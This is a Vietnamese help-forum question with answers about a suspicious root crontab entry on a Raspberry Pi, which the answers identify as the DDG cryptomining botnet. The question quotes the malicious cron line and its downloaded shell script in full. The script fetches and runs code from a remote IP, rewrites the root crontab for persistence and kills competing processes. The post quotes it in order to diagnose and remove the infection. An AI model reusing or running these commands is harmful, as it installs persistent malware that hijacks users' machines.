Mục nhập crontab đáng ngờ đang chạy 'xribfa4' cứ sau 15 phút

Tôi muốn thêm một cái gì đó vào tập tin crontab gốc của mình trên Raspberry Pi và tìm thấy một mục có vẻ đáng ngờ đối với tôi, tìm kiếm các phần của nó trên Google không tìm thấy gì.

Mục Crontab:

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

Nội dung của http://103.219.112.66:8000/i.sh:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
    curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4

ps auxf | grep -v grep | grep xribbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -

Kiến thức Linux của tôi còn hạn chế, nhưng đối với tôi, dường như việc tải xuống các tệp nhị phân từ máy chủ Indonesia và chạy chúng dưới quyền root thường xuyên không phải là điều bình thường.

Cái gì thế này? Tôi nên làm gì?

Nó là một botnet khai thác DDG, làm thế nào nó hoạt động:

1. khai thác lỗ hổng RCE
2. sửa đổi crontab
3. tải về chương trình khai thác thích hợp (viết bằng go)
4. bắt đầu quá trình khai thác

DDG: Một Botnet khai thác nhắm vào máy chủ cơ sở dữ liệu

SystemdMiner khi botnet mượn cơ sở hạ tầng của botnet khác

U & L: Làm cách nào tôi có thể tiêu diệt phần mềm độc hại khai thác trên phiên bản AWS EC2? (máy chủ bị xâm nhập)

Chỉ ra các cổng TCP và UDP thực sự cần thiết, sau đó chặn tất cả các cổng khác trong tường lửa của bộ định tuyến của bạn. Có thể , những mục crontab sẽ không xuất hiện lại.

Bạn có thể xem cổng nào được mở và công khai bằng cách sử dụng Shields Up! tính năng tại grc.com .